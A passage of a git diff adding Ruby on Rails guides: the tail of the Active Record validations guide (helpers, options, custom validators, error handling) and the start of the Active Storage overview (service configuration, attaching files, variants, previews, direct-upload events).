Specifies the value must be equal to the supplied value. The + default error message for this option is _"must be equal to %{count}"_. +* `:less_than` - Specifies the value must be less than the supplied value. The + default error message for this option is _"must be less than %{count}"_. +* `:less_than_or_equal_to` - Specifies the value must be less than or equal to + the supplied value. The default error message for this option is _"must be + less than or equal to %{count}"_. +* `:other_than` - Specifies the value must be other than the supplied value. + The default error message for this option is _"must be other than %{count}"_. +* `:odd` - Specifies the value must be an odd number if set to true. The + default error message for this option is _"must be odd"_. +* `:even` - Specifies the value must be an even number if set to true. The + default error message for this option is _"must be even"_. + +NOTE: By default, `numericality` doesn't allow `nil` values. You can use `allow_nil: true` option to permit it. + +The default error message is _"is not a number"_. + +### `presence` + +This helper validates that the specified attributes are not empty. It uses the +`blank?` method to check if the value is either `nil` or a blank string, that +is, a string that is either empty or consists of whitespace. + +```ruby +class Person < ApplicationRecord + validates :name, :login, :email, presence: true +end +``` + +If you want to be sure that an association is present, you'll need to test +whether the associated object itself is present, and not the foreign key used +to map the association. This way, it is not only checked that the foreign key +is not empty but also that the referenced object exists. + +```ruby +class LineItem < ApplicationRecord + belongs_to :order + validates :order, presence: true +end +``` + +In order to validate associated records whose presence is required, you must +specify the `:inverse_of` option for the association: + +```ruby +class Order < ApplicationRecord + has_many :line_items, inverse_of: :order +end +``` + +If you validate the presence of an object associated via a `has_one` or +`has_many` relationship, it will check that the object is neither `blank?` nor +`marked_for_destruction?`. + +Since `false.blank?` is true, if you want to validate the presence of a boolean +field you should use one of the following validations: + +```ruby +validates :boolean_field_name, inclusion: { in: [true, false] } +validates :boolean_field_name, exclusion: { in: [nil] } +``` + +By using one of these validations, you will ensure the value will NOT be `nil` +which would result in a `NULL` value in most cases. + +### `absence` + +This helper validates that the specified attributes are absent. It uses the +`present?` method to check if the value is not either nil or a blank string, that +is, a string that is either empty or consists of whitespace. + +```ruby +class Person < ApplicationRecord + validates :name, :login, :email, absence: true +end +``` + +If you want to be sure that an association is absent, you'll need to test +whether the associated object itself is absent, and not the foreign key used +to map the association. + +```ruby +class LineItem < ApplicationRecord + belongs_to :order + validates :order, absence: true +end +``` + +In order to validate associated records whose absence is required, you must +specify the `:inverse_of` option for the association: + +```ruby +class Order < ApplicationRecord + has_many :line_items, inverse_of: :order +end +``` + +If you validate the absence of an object associated via a `has_one` or +`has_many` relationship, it will check that the object is neither `present?` nor +`marked_for_destruction?`. + +Since `false.present?` is false, if you want to validate the absence of a boolean +field you should use `validates :field_name, exclusion: { in: [true, false] }`. + +The default error message is _"must be blank"_. + +### `uniqueness` + +This helper validates that the attribute's value is unique right before the +object gets saved. It does not create a uniqueness constraint in the database, +so it may happen that two different database connections create two records +with the same value for a column that you intend to be unique. To avoid that, +you must create a unique index on that column in your database. + +```ruby +class Account < ApplicationRecord + validates :email, uniqueness: true +end +``` + +The validation happens by performing an SQL query into the model's table, +searching for an existing record with the same value in that attribute. + +There is a `:scope` option that you can use to specify one or more attributes that +are used to limit the uniqueness check: + +```ruby +class Holiday < ApplicationRecord + validates :name, uniqueness: { scope: :year, + message: "should happen once per year" } +end +``` +Should you wish to create a database constraint to prevent possible violations of a uniqueness validation using the `:scope` option, you must create a unique index on both columns in your database. See [the MySQL manual](http://dev.mysql.com/doc/refman/5.7/en/multiple-column-indexes.html) for more details about multiple column indexes or [the PostgreSQL manual](https://www.postgresql.org/docs/current/static/ddl-constraints.html) for examples of unique constraints that refer to a group of columns. + +There is also a `:case_sensitive` option that you can use to define whether the +uniqueness constraint will be case sensitive or not. This option defaults to +true. + +```ruby +class Person < ApplicationRecord + validates :name, uniqueness: { case_sensitive: false } +end +``` + +WARNING. Note that some databases are configured to perform case-insensitive +searches anyway. + +The default error message is _"has already been taken"_. + +### `validates_with` + +This helper passes the record to a separate class for validation. + +```ruby +class GoodnessValidator < ActiveModel::Validator + def validate(record) + if record.first_name == "Evil" + record.errors[:base] << "This person is evil" + end + end +end + +class Person < ApplicationRecord + validates_with GoodnessValidator +end +``` + +NOTE: Errors added to `record.errors[:base]` relate to the state of the record +as a whole, and not to a specific attribute. + +The `validates_with` helper takes a class, or a list of classes to use for +validation. There is no default error message for `validates_with`. You must +manually add errors to the record's errors collection in the validator class. + +To implement the validate method, you must have a `record` parameter defined, +which is the record to be validated. + +Like all other validations, `validates_with` takes the `:if`, `:unless` and +`:on` options. If you pass any other options, it will send those options to the +validator class as `options`: + +```ruby +class GoodnessValidator < ActiveModel::Validator + def validate(record) + if options[:fields].any?{|field| record.send(field) == "Evil" } + record.errors[:base] << "This person is evil" + end + end +end + +class Person < ApplicationRecord + validates_with GoodnessValidator, fields: [:first_name, :last_name] +end +``` + +Note that the validator will be initialized *only once* for the whole application +life cycle, and not on each validation run, so be careful about using instance +variables inside it. + +If your validator is complex enough that you want instance variables, you can +easily use a plain old Ruby object instead: + +```ruby +class Person < ApplicationRecord + validate do |person| + GoodnessValidator.new(person).validate + end +end + +class GoodnessValidator + def initialize(person) + @person = person + end + + def validate + if some_complex_condition_involving_ivars_and_private_methods? + @person.errors[:base] << "This person is evil" + end + end + + # ... +end +``` + +### `validates_each` + +This helper validates attributes against a block. It doesn't have a predefined +validation function. You should create one using a block, and every attribute +passed to `validates_each` will be tested against it. In the following example, +we don't want names and surnames to begin with lower case. + +```ruby +class Person < ApplicationRecord + validates_each :name, :surname do |record, attr, value| + record.errors.add(attr, 'must start with upper case') if value =~ /\A[[:lower:]]/ + end +end +``` + +The block receives the record, the attribute's name, and the attribute's value. +You can do anything you like to check for valid data within the block. If your +validation fails, you should add an error message to the model, therefore +making it invalid. + +Common Validation Options +------------------------- + +These are common validation options: + +### `:allow_nil` + +The `:allow_nil` option skips the validation when the value being validated is +`nil`. + +```ruby +class Coffee < ApplicationRecord + validates :size, inclusion: { in: %w(small medium large), + message: "%{value} is not a valid size" }, allow_nil: true +end +``` + +For full options to the message argument please see the +[message documentation](#message). + +### `:allow_blank` + +The `:allow_blank` option is similar to the `:allow_nil` option. This option +will let validation pass if the attribute's value is `blank?`, like `nil` or an +empty string for example. + +```ruby +class Topic < ApplicationRecord + validates :title, length: { is: 5 }, allow_blank: true +end + +Topic.create(title: "").valid? # => true +Topic.create(title: nil).valid? # => true +``` + +### `:message` + +As you've already seen, the `:message` option lets you specify the message that +will be added to the `errors` collection when validation fails. When this +option is not used, Active Record will use the respective default error message +for each validation helper. The `:message` option accepts a `String` or `Proc`. + +A `String` `:message` value can optionally contain any/all of `%{value}`, +`%{attribute}`, and `%{model}` which will be dynamically replaced when +validation fails. This replacement is done using the I18n gem, and the +placeholders must match exactly, no spaces are allowed. + +A `Proc` `:message` value is given two arguments: the object being validated, and +a hash with `:model`, `:attribute`, and `:value` key-value pairs. + +```ruby +class Person < ApplicationRecord + # Hard-coded message + validates :name, presence: { message: "must be given please" } + + # Message with dynamic attribute value. %{value} will be replaced with + # the actual value of the attribute. %{attribute} and %{model} also + # available. + validates :age, numericality: { message: "%{value} seems wrong" } + + # Proc + validates :username, + uniqueness: { + # object = person object being validated + # data = { model: "Person", attribute: "Username", value: <username> } + message: ->(object, data) do + "Hey #{object.name}!, #{data[:value]} is taken already! Try again #{Time.zone.tomorrow}" + end + } +end +``` + +### `:on` + +The `:on` option lets you specify when the validation should happen. The +default behavior for all the built-in validation helpers is to be run on save +(both when you're creating a new record and when you're updating it). If you +want to change it, you can use `on: :create` to run the validation only when a +new record is created or `on: :update` to run the validation only when a record +is updated. + +```ruby +class Person < ApplicationRecord + # it will be possible to update email with a duplicated value + validates :email, uniqueness: true, on: :create + + # it will be possible to create the record with a non-numerical age + validates :age, numericality: true, on: :update + + # the default (validates on both create and update) + validates :name, presence: true +end +``` + +You can also use `on:` to define custom contexts. Custom contexts need to be +triggered explicitly by passing the name of the context to `valid?`, +`invalid?`, or `save`. + +```ruby +class Person < ApplicationRecord + validates :email, uniqueness: true, on: :account_setup + validates :age, numericality: true, on: :account_setup +end + +person = Person.new(age: 'thirty-three') +person.valid? # => true +person.valid?(:account_setup) # => false +person.errors.messages + # => {:email=>["has already been taken"], :age=>["is not a number"]} +``` + +`person.valid?(:account_setup)` executes both the validations without saving +the model. `person.save(context: :account_setup)` validates `person` in the +`account_setup` context before saving. + +When triggered by an explicit context, validations are run for that context, +as well as any validations _without_ a context. + +```ruby +class Person < ApplicationRecord + validates :email, uniqueness: true, on: :account_setup + validates :age, numericality: true, on: :account_setup + validates :name, presence: true +end + +person = Person.new +person.valid?(:account_setup) # => false +person.errors.messages + # => {:email=>["has already been taken"], :age=>["is not a number"], :name=>["can't be blank"]} +``` + +Strict Validations +------------------ + +You can also specify validations to be strict and raise +`ActiveModel::StrictValidationFailed` when the object is invalid. + +```ruby +class Person < ApplicationRecord + validates :name, presence: { strict: true } +end + +Person.new.valid? # => ActiveModel::StrictValidationFailed: Name can't be blank +``` + +There is also the ability to pass a custom exception to the `:strict` option. + +```ruby +class Person < ApplicationRecord + validates :token, presence: true, uniqueness: true, strict: TokenGenerationException +end + +Person.new.valid? # => TokenGenerationException: Token can't be blank +``` + +Conditional Validation +---------------------- + +Sometimes it will make sense to validate an object only when a given predicate +is satisfied. You can do that by using the `:if` and `:unless` options, which +can take a symbol, a `Proc` or an `Array`. You may use the `:if` +option when you want to specify when the validation **should** happen. If you +want to specify when the validation **should not** happen, then you may use the +`:unless` option. + +### Using a Symbol with `:if` and `:unless` + +You can associate the `:if` and `:unless` options with a symbol corresponding +to the name of a method that will get called right before validation happens. +This is the most commonly used option. + +```ruby +class Order < ApplicationRecord + validates :card_number, presence: true, if: :paid_with_card? + + def paid_with_card? + payment_type == "card" + end +end +``` + +### Using a Proc with `:if` and `:unless` + +Finally, it's possible to associate `:if` and `:unless` with a `Proc` object +which will be called. Using a `Proc` object gives you the ability to write an +inline condition instead of a separate method. This option is best suited for +one-liners. + +```ruby +class Account < ApplicationRecord + validates :password, confirmation: true, + unless: Proc.new { |a| a.password.blank? } +end +``` + +As `Lambdas` are a type of `Proc`, they can also be used to write inline +conditions in a shorter way. + +```ruby +validates :password, confirmation: true, unless: -> { password.blank? } +``` + +### Grouping Conditional validations + +Sometimes it is useful to have multiple validations use one condition. It can +be easily achieved using `with_options`. + +```ruby +class User < ApplicationRecord + with_options if: :is_admin? do |admin| + admin.validates :password, length: { minimum: 10 } + admin.validates :email, presence: true + end +end +``` + +All validations inside of the `with_options` block will have automatically +passed the condition `if: :is_admin?` + +### Combining Validation Conditions + +On the other hand, when multiple conditions define whether or not a validation +should happen, an `Array` can be used. Moreover, you can apply both `:if` and +`:unless` to the same validation. + +```ruby +class Computer < ApplicationRecord + validates :mouse, presence: true, + if: [Proc.new { |c| c.market.retail? }, :desktop?], + unless: Proc.new { |c| c.trackpad.present? } +end +``` + +The validation only runs when all the `:if` conditions and none of the +`:unless` conditions are evaluated to `true`. + +Performing Custom Validations +----------------------------- + +When the built-in validation helpers are not enough for your needs, you can +write your own validators or validation methods as you prefer. + +### Custom Validators + +Custom validators are classes that inherit from `ActiveModel::Validator`. These +classes must implement the `validate` method which takes a record as an argument +and performs the validation on it. The custom validator is called using the +`validates_with` method. + +```ruby +class MyValidator < ActiveModel::Validator + def validate(record) + unless record.name.starts_with? 'X' + record.errors[:name] << 'Need a name starting with X please!' + end + end +end + +class Person + include ActiveModel::Validations + validates_with MyValidator +end +``` + +The easiest way to add custom validators for validating individual attributes +is with the convenient `ActiveModel::EachValidator`. In this case, the custom +validator class must implement a `validate_each` method which takes three +arguments: record, attribute, and value. These correspond to the instance, the +attribute to be validated, and the value of the attribute in the passed +instance. + +```ruby +class EmailValidator < ActiveModel::EachValidator + def validate_each(record, attribute, value) + unless value =~ /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i + record.errors[attribute] << (options[:message] || "is not an email") + end + end +end + +class Person < ApplicationRecord + validates :email, presence: true, email: true +end +``` + +As shown in the example, you can also combine standard validations with your +own custom validators. + +### Custom Methods + +You can also create methods that verify the state of your models and add +messages to the `errors` collection when they are invalid. You must then +register these methods by using the `validate` +([API](http://api.rubyonrails.org/classes/ActiveModel/Validations/ClassMethods.html#method-i-validate)) +class method, passing in the symbols for the validation methods' names. + +You can pass more than one symbol for each class method and the respective +validations will be run in the same order as they were registered. + +The `valid?` method will verify that the errors collection is empty, +so your custom validation methods should add errors to it when you +wish validation to fail: + +```ruby +class Invoice < ApplicationRecord + validate :expiration_date_cannot_be_in_the_past, + :discount_cannot_be_greater_than_total_value + + def expiration_date_cannot_be_in_the_past + if expiration_date.present? && expiration_date < Date.today + errors.add(:expiration_date, "can't be in the past") + end + end + + def discount_cannot_be_greater_than_total_value + if discount > total_value + errors.add(:discount, "can't be greater than total value") + end + end +end +``` + +By default, such validations will run every time you call `valid?` +or save the object. But it is also possible to control when to run these +custom validations by giving an `:on` option to the `validate` method, +with either: `:create` or `:update`. + +```ruby +class Invoice < ApplicationRecord + validate :active_customer, on: :create + + def active_customer + errors.add(:customer_id, "is not active") unless customer.active? + end +end +``` + +Working with Validation Errors +------------------------------ + +In addition to the `valid?` and `invalid?` methods covered earlier, Rails provides a number of methods for working with the `errors` collection and inquiring about the validity of objects. + +The following is a list of the most commonly used methods. Please refer to the `ActiveModel::Errors` documentation for a list of all the available methods. + +### `errors` + +Returns an instance of the class `ActiveModel::Errors` containing all errors. Each key is the attribute name and the value is an array of strings with all errors. + +```ruby +class Person < ApplicationRecord + validates :name, presence: true, length: { minimum: 3 } +end + +person = Person.new +person.valid? # => false +person.errors.messages + # => {:name=>["can't be blank", "is too short (minimum is 3 characters)"]} + +person = Person.new(name: "John Doe") +person.valid? # => true +person.errors.messages # => {} +``` + +### `errors[]` + +`errors[]` is used when you want to check the error messages for a specific attribute. It returns an array of strings with all error messages for the given attribute, each string with one error message. If there are no errors related to the attribute, it returns an empty array. + +```ruby +class Person < ApplicationRecord + validates :name, presence: true, length: { minimum: 3 } +end + +person = Person.new(name: "John Doe") +person.valid? # => true +person.errors[:name] # => [] + +person = Person.new(name: "JD") +person.valid? # => false +person.errors[:name] # => ["is too short (minimum is 3 characters)"] + +person = Person.new +person.valid? # => false +person.errors[:name] + # => ["can't be blank", "is too short (minimum is 3 characters)"] +``` + +### `errors.add` + +The `add` method lets you add an error message related to a particular attribute. It takes as arguments the attribute and the error message. + +The `errors.full_messages` method (or its equivalent, `errors.to_a`) returns the error messages in a user-friendly format, with the capitalized attribute name prepended to each message, as shown in the examples below. + +```ruby +class Person < ApplicationRecord + def a_method_used_for_validation_purposes + errors.add(:name, "cannot contain the characters !@#%*()_-+=") + end +end + +person = Person.create(name: "!@#") + +person.errors[:name] + # => ["cannot contain the characters !@#%*()_-+="] + +person.errors.full_messages + # => ["Name cannot contain the characters !@#%*()_-+="] +``` + +### `errors.details` + +You can specify a validator type to the returned error details hash using the +`errors.add` method. + +```ruby +class Person < ApplicationRecord + def a_method_used_for_validation_purposes + errors.add(:name, :invalid_characters) + end +end + +person = Person.create(name: "!@#") + +person.errors.details[:name] +# => [{error: :invalid_characters}] +``` + +To improve the error details to contain the unallowed characters set for instance, +you can pass additional keys to `errors.add`. + +```ruby +class Person < ApplicationRecord + def a_method_used_for_validation_purposes + errors.add(:name, :invalid_characters, not_allowed: "!@#%*()_-+=") + end +end + +person = Person.create(name: "!@#") + +person.errors.details[:name] +# => [{error: :invalid_characters, not_allowed: "!@#%*()_-+="}] +``` + +All built in Rails validators populate the details hash with the corresponding +validator type. + +### `errors[:base]` + +You can add error messages that are related to the object's state as a whole, instead of being related to a specific attribute. You can use this method when you want to say that the object is invalid, no matter the values of its attributes. Since `errors[:base]` is an array, you can simply add a string to it and it will be used as an error message. + +```ruby +class Person < ApplicationRecord + def a_method_used_for_validation_purposes + errors[:base] << "This person is invalid because ..." + end +end +``` + +### `errors.clear` + +The `clear` method is used when you intentionally want to clear all the messages in the `errors` collection. Of course, calling `errors.clear` upon an invalid object won't actually make it valid: the `errors` collection will now be empty, but the next time you call `valid?` or any method that tries to save this object to the database, the validations will run again. If any of the validations fail, the `errors` collection will be filled again. + +```ruby +class Person < ApplicationRecord + validates :name, presence: true, length: { minimum: 3 } +end + +person = Person.new +person.valid? # => false +person.errors[:name] + # => ["can't be blank", "is too short (minimum is 3 characters)"] + +person.errors.clear +person.errors.empty? # => true + +person.save # => false + +person.errors[:name] +# => ["can't be blank", "is too short (minimum is 3 characters)"] +``` + +### `errors.size` + +The `size` method returns the total number of error messages for the object. + +```ruby +class Person < ApplicationRecord + validates :name, presence: true, length: { minimum: 3 } +end + +person = Person.new +person.valid? # => false +person.errors.size # => 2 + +person = Person.new(name: "Andrea", email: "andrea@example.com") +person.valid? # => true +person.errors.size # => 0 +``` + +Displaying Validation Errors in Views +------------------------------------- + +Once you've created a model and added validations, if that model is created via +a web form, you probably want to display an error message when one of the +validations fail. + +Because every application handles this kind of thing differently, Rails does +not include any view helpers to help you generate these messages directly. +However, due to the rich number of methods Rails gives you to interact with +validations in general, it's fairly easy to build your own. In addition, when +generating a scaffold, Rails will put some ERB into the `_form.html.erb` that +it generates that displays the full list of errors on that model. + +Assuming we have a model that's been saved in an instance variable named +`@article`, it looks like this: + +```ruby +<% if @article.errors.any? %> + <div id="error_explanation"> + <h2><%= pluralize(@article.errors.count, "error") %> prohibited this article from being saved:</h2> + + <ul> + <% @article.errors.full_messages.each do |msg| %> + <li><%= msg %></li> + <% end %> + </ul> + </div> +<% end %> +``` + +Furthermore, if you use the Rails form helpers to generate your forms, when +a validation error occurs on a field, it will generate an extra `<div>` around +the entry. + +``` +<div class="field_with_errors"> + <input id="article_title" name="article[title]" size="30" type="text" value=""> +</div> +``` + +You can then style this div however you'd like. The default scaffold that +Rails generates, for example, adds this CSS rule: + +``` +.field_with_errors { + padding: 2px; + background-color: red; + display: table; +} +``` + +This means that any field with an error ends up with a 2 pixel red border. diff --git a/guides/source/active_storage_overview.md b/guides/source/active_storage_overview.md new file mode 100644 index 0000000000..51f50e8931 --- /dev/null +++ b/guides/source/active_storage_overview.md @@ -0,0 +1,771 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Active Storage Overview +======================= + +This guide covers how to attach files to your Active Record models. + +After reading this guide, you will know: + +* How to attach one or many files to a record. +* How to delete an attached file. +* How to link to an attached file. +* How to use variants to transform images. +* How to generate an image representation of a non-image file, such as a PDF or a video. +* How to send file uploads directly from browsers to a storage service, + bypassing your application servers. +* How to clean up files stored during testing. +* How to implement support for additional storage services. + +-------------------------------------------------------------------------------- + +What is Active Storage? +----------------------- + +Active Storage facilitates uploading files to a cloud storage service like +Amazon S3, Google Cloud Storage, or Microsoft Azure Storage and attaching those +files to Active Record objects. It comes with a local disk-based service for +development and testing and supports mirroring files to subordinate services for +backups and migrations. + +Using Active Storage, an application can transform image uploads with +[ImageMagick](https://www.imagemagick.org), generate image representations of +non-image uploads like PDFs and videos, and extract metadata from arbitrary +files. + +## Setup + +Active Storage uses two tables in your application’s database named +`active_storage_blobs` and `active_storage_attachments`. After creating a new +application (or upgrading your application to Rails 5.2), run +`rails active_storage:install` to generate a migration that creates these +tables. Use `rails db:migrate` to run the migration. + +Declare Active Storage services in `config/storage.yml`. For each service your +application uses, provide a name and the requisite configuration. The example +below declares three services named `local`, `test`, and `amazon`: + +```yaml +local: + service: Disk + root: <%= Rails.root.join("storage") %> + +test: + service: Disk + root: <%= Rails.root.join("tmp/storage") %> + +amazon: + service: S3 + access_key_id: "" + secret_access_key: "" + bucket: "" + region: "" # e.g. 'us-east-1' +``` + +Tell Active Storage which service to use by setting +`Rails.application.config.active_storage.service`. Because each environment will +likely use a different service, it is recommended to do this on a +per-environment basis. To use the disk service from the previous example in the +development environment, you would add the following to +`config/environments/development.rb`: + +```ruby +# Store files locally. +config.active_storage.service = :local +``` + +To use the Amazon S3 service in production, you add the following to +`config/environments/production.rb`: + +```ruby +# Store files on Amazon S3. +config.active_storage.service = :amazon +``` + +To use the test service when testing, you add the following to +`config/environments/test.rb`: + +```ruby +# Store uploaded files on the local file system in a temporary directory. +config.active_storage.service = :test +``` + +Continue reading for more information on the built-in service adapters (e.g. +`Disk` and `S3`) and the configuration they require. + +### Disk Service + +Declare a Disk service in `config/storage.yml`: + +```yaml +local: + service: Disk + root: <%= Rails.root.join("storage") %> +``` + +### Amazon S3 Service + +Declare an S3 service in `config/storage.yml`: + +```yaml +amazon: + service: S3 + access_key_id: "" + secret_access_key: "" + region: "" + bucket: "" +``` + +Add the [`aws-sdk-s3`](https://github.com/aws/aws-sdk-ruby) gem to your `Gemfile`: + +```ruby +gem "aws-sdk-s3", require: false +``` + +NOTE: The core features of Active Storage require the following permissions: `s3:ListBucket`, `s3:PutObject`, `s3:GetObject`, and `s3:DeleteObject`. If you have additional upload options configured such as setting ACLs then additional permissions may be required. + +NOTE: If you want to use environment variables, standard SDK configuration files, profiles, +IAM instance profiles or task roles, you can omit the `access_key_id`, `secret_access_key`, +and `region` keys in the example above. The Amazon S3 Service supports all of the +authentication options described in the [AWS SDK documentation] +(https://docs.aws.amazon.com/sdk-for-ruby/v3/developer-guide/setup-config.html). + + +### Microsoft Azure Storage Service + +Declare an Azure Storage service in `config/storage.yml`: + +```yaml +azure: + service: AzureStorage + storage_account_name: "" + storage_access_key: "" + container: "" +``` + +Add the [`azure-storage`](https://github.com/Azure/azure-storage-ruby) gem to your `Gemfile`: + +```ruby +gem "azure-storage", require: false +``` + +### Google Cloud Storage Service + +Declare a Google Cloud Storage service in `config/storage.yml`: + +```yaml +google: + service: GCS + credentials: <%= Rails.root.join("path/to/keyfile.json") %> + project: "" + bucket: "" +``` + +Optionally provide a Hash of credentials instead of a keyfile path: + +```yaml +google: + service: GCS + credentials: + type: "service_account" + project_id: "" + private_key_id: <%= Rails.application.credentials.dig(:gcs, :private_key_id) %> + private_key: <%= Rails.application.credentials.dig(:gcs, :private_key).dump %> + client_email: "" + client_id: "" + auth_uri: "https://accounts.google.com/o/oauth2/auth" + token_uri: "https://accounts.google.com/o/oauth2/token" + auth_provider_x509_cert_url: "https://www.googleapis.com/oauth2/v1/certs" + client_x509_cert_url: "" + project: "" + bucket: "" +``` + +Add the [`google-cloud-storage`](https://github.com/GoogleCloudPlatform/google-cloud-ruby/tree/master/google-cloud-storage) gem to your `Gemfile`: + +```ruby +gem "google-cloud-storage", "~> 1.11", require: false +``` + +### Mirror Service + +You can keep multiple services in sync by defining a mirror service. When a file +is uploaded or deleted, it's done across all the mirrored services. Mirrored +services can be used to facilitate a migration between services in production. +You can start mirroring to the new service, copy existing files from the old +service to the new, then go all-in on the new service. Define each of the +services you'd like to use as described above and reference them from a mirrored +service. + +```yaml +s3_west_coast: + service: S3 + access_key_id: "" + secret_access_key: "" + region: "" + bucket: "" + +s3_east_coast: + service: S3 + access_key_id: "" + secret_access_key: "" + region: "" + bucket: "" + +production: + service: Mirror + primary: s3_east_coast + mirrors: + - s3_west_coast +``` + +NOTE: Files are served from the primary service. + +NOTE: This is not compatible with the [direct uploads](#direct-uploads) feature. + +Attaching Files to Records +-------------------------- + +### `has_one_attached` + +The `has_one_attached` macro sets up a one-to-one mapping between records and +files. Each record can have one file attached to it. + +For example, suppose your application has a `User` model. If you want each user to +have an avatar, define the `User` model like this: + +```ruby +class User < ApplicationRecord + has_one_attached :avatar +end +``` + +You can create a user with an avatar: + +```erb +<%= form.file_field :avatar %> +``` + +```ruby +class SignupController < ApplicationController + def create + user = User.create!(user_params) + session[:user_id] = user.id + redirect_to root_path + end + + private + def user_params + params.require(:user).permit(:email_address, :password, :avatar) + end +end +``` + +Call `avatar.attach` to attach an avatar to an existing user: + +```ruby +user.avatar.attach(params[:avatar]) +``` + +Call `avatar.attached?` to determine whether a particular user has an avatar: + +```ruby +user.avatar.attached? +``` + +### `has_many_attached` + +The `has_many_attached` macro sets up a one-to-many relationship between records +and files. Each record can have many files attached to it. + +For example, suppose your application has a `Message` model. If you want each +message to have many images, define the `Message` model like this: + +```ruby +class Message < ApplicationRecord + has_many_attached :images +end +``` + +You can create a message with images: + +```ruby +class MessagesController < ApplicationController + def create + message = Message.create!(message_params) + redirect_to message + end + + private + def message_params + params.require(:message).permit(:title, :content, images: []) + end +end +``` + +Call `images.attach` to add new images to an existing message: + +```ruby +@message.images.attach(params[:images]) +``` + +Call `images.attached?` to determine whether a particular message has any images: + +```ruby +@message.images.attached? +``` + +### Attaching File/IO Objects + +Sometimes you need to attach a file that doesn’t arrive via an HTTP request. +For example, you may want to attach a file you generated on disk or downloaded +from a user-submitted URL. You may also want to attach a fixture file in a +model test. To do that, provide a Hash containing at least an open IO object +and a filename: + +```ruby +@message.image.attach(io: File.open('/path/to/file'), filename: 'file.pdf') +``` + +When possible, provide a content type as well. Active Storage attempts to +determine a file’s content type from its data. It falls back to the content +type you provide if it can’t do that. + +```ruby +@message.image.attach(io: File.open('/path/to/file'), filename: 'file.pdf', content_type: 'application/pdf') +``` + +You can bypass the content type inference from the data by passing in +`identify: false` along with the `content_type`. + +```ruby +@message.image.attach( + io: File.open('/path/to/file'), + filename: 'file.pdf', + content_type: 'application/pdf', + identify: false +) +``` + +If you don’t provide a content type and Active Storage can’t determine the +file’s content type automatically, it defaults to application/octet-stream. + + +Removing Files +-------------- + +To remove an attachment from a model, call `purge` on the attachment. Removal +can be done in the background if your application is setup to use Active Job. +Purging deletes the blob and the file from the storage service. + +```ruby +# Synchronously destroy the avatar and actual resource files. +user.avatar.purge + +# Destroy the associated models and actual resource files async, via Active Job. +user.avatar.purge_later +``` + +Linking to Files +---------------- + +Generate a permanent URL for the blob that points to the application. Upon +access, a redirect to the actual service endpoint is returned. This indirection +decouples the public URL from the actual one, and allows, for example, mirroring +attachments in different services for high-availability. The redirection has an +HTTP expiration of 5 min. + +```ruby +url_for(user.avatar) +``` + +To create a download link, use the `rails_blob_{path|url}` helper. Using this +helper allows you to set the disposition. + +```ruby +rails_blob_path(user.avatar, disposition: "attachment") +``` + +If you need to create a link from outside of controller/view context (Background +jobs, Cronjobs, etc.), you can access the rails_blob_path like this: + +``` +Rails.application.routes.url_helpers.rails_blob_path(user.avatar, only_path: true) +``` + +Downloading Files +----------------- + +Sometimes you need to process a blob after it’s uploaded—for example, to convert +it to a different format. Use `ActiveStorage::Blob#download` to read a blob’s +binary data into memory: + +```ruby +binary = user.avatar.download +``` + +You might want to download a blob to a file on disk so an external program (e.g. +a virus scanner or media transcoder) can operate on it. Use +`ActiveStorage::Blob#open` to download a blob to a tempfile on disk: + +```ruby +message.video.open do |file| + system '/path/to/virus/scanner', file.path + # ... +end +``` + +Transforming Images +------------------- + +To create a variation of the image, call `variant` on the `Blob`. You can pass +any transformation to the method supported by the processor. The default +processor is [MiniMagick](https://github.com/minimagick/minimagick), but you +can also use [Vips](http://www.rubydoc.info/gems/ruby-vips/Vips/Image). + +To enable variants, add the `image_processing` gem to your `Gemfile`: + +```ruby +gem 'image_processing', '~> 1.2' +``` + +When the browser hits the variant URL, Active Storage will lazily transform the +original blob into the specified format and redirect to its new service +location. + +```erb +<%= image_tag user.avatar.variant(resize_to_fit: [100, 100]) %> +``` + +To switch to the Vips processor, you would add the following to +`config/application.rb`: + +```ruby +# Use Vips for processing variants. +config.active_storage.variant_processor = :vips +``` + +Previewing Files +---------------- + +Some non-image files can be previewed: that is, they can be presented as images. +For example, a video file can be previewed by extracting its first frame. Out of +the box, Active Storage supports previewing videos and PDF documents. + +```erb +<ul> + <% @message.files.each do |file| %> + <li> + <%= image_tag file.preview(resize_to_limit: [100, 100]) %> + </li> + <% end %> +</ul> +``` + +WARNING: Extracting previews requires third-party applications, FFmpeg for +video and muPDF for PDFs, and on macOS also XQuartz and Poppler. +These libraries are not provided by Rails. You must install them yourself to +use the built-in previewers. Before you install and use third-party software, +make sure you understand the licensing implications of doing so. + + +Direct Uploads +-------------- + +Active Storage, with its included JavaScript library, supports uploading +directly from the client to the cloud. + +### Direct upload installation + +1. Include `activestorage.js` in your application's JavaScript bundle. + + Using the asset pipeline: + + ```js + //= require activestorage + + ``` + + Using the npm package: + + ```js + import * as ActiveStorage from "activestorage" + ActiveStorage.start() + ``` + +2. Annotate file inputs with the direct upload URL. + + ```erb + <%= form.file_field :attachments, multiple: true, direct_upload: true %> + ``` +3. That's it! Uploads begin upon form submission. + +### Direct upload JavaScript events + +| Event name | Event target | Event data (`event.detail`) | Description | +| --- | --- | --- | --- | +| `direct-uploads:start` | `<form>` | None | A form containing files for direct upload fields was submitted. | +| `direct-upload:initialize` | `<input>` | `{id, file}` | Dispatched for every file after form submission. | +| `direct-upload:start` | `<input>` | `{id, file}` | A direct upload is starting. | +| `direct-upload:before-blob-request` | `<input>` | `{id, file, xhr}` | Before making a request to your application for direct upload metadata. | +| `direct-upload:before-storage-request` | `<input>` | `{id, file, xhr}` | Before making a request to store a file. | +| `direct-upload:progress` | `<input>` | `{id, file, progress}` | As requests to store files progress. | +| `direct-upload:error` | `<input>` | `{id, file, error}` | An error occurred. An `alert` will display unless this event is canceled. | +| `direct-upload:end` | `<input>` | `{id, file}` | A direct upload has ended. | +| `direct-uploads:end` | `<form>` | None | All direct uploads have ended. | + +### Example + +You can use these events to show the progress of an upload. + + + +To show the uploaded files in a form: + +```js +// direct_uploads.js + +addEventListener("direct-upload:initialize", event => { + const { target, detail } = event + const { id, file } = detail + target.insertAdjacentHTML("beforebegin", ` + <div id="direct-upload-${id}" class="direct-upload direct-upload--pending"> + <div id="direct-upload-progress-${id}" class="direct-upload__progress" style="width: 0%"></div> + <span class="direct-upload__filename">${file.name}</span> + </div> + `) +}) + +addEventListener("direct-upload:start", event => { + const { id } = event.detail + const element = document.getElementById(`direct-upload-${id}`) + element.classList.remove("direct-upload--pending") +}) + +addEventListener("direct-upload:progress", event => { + const { id, progress } = event.detail + const progressElement = 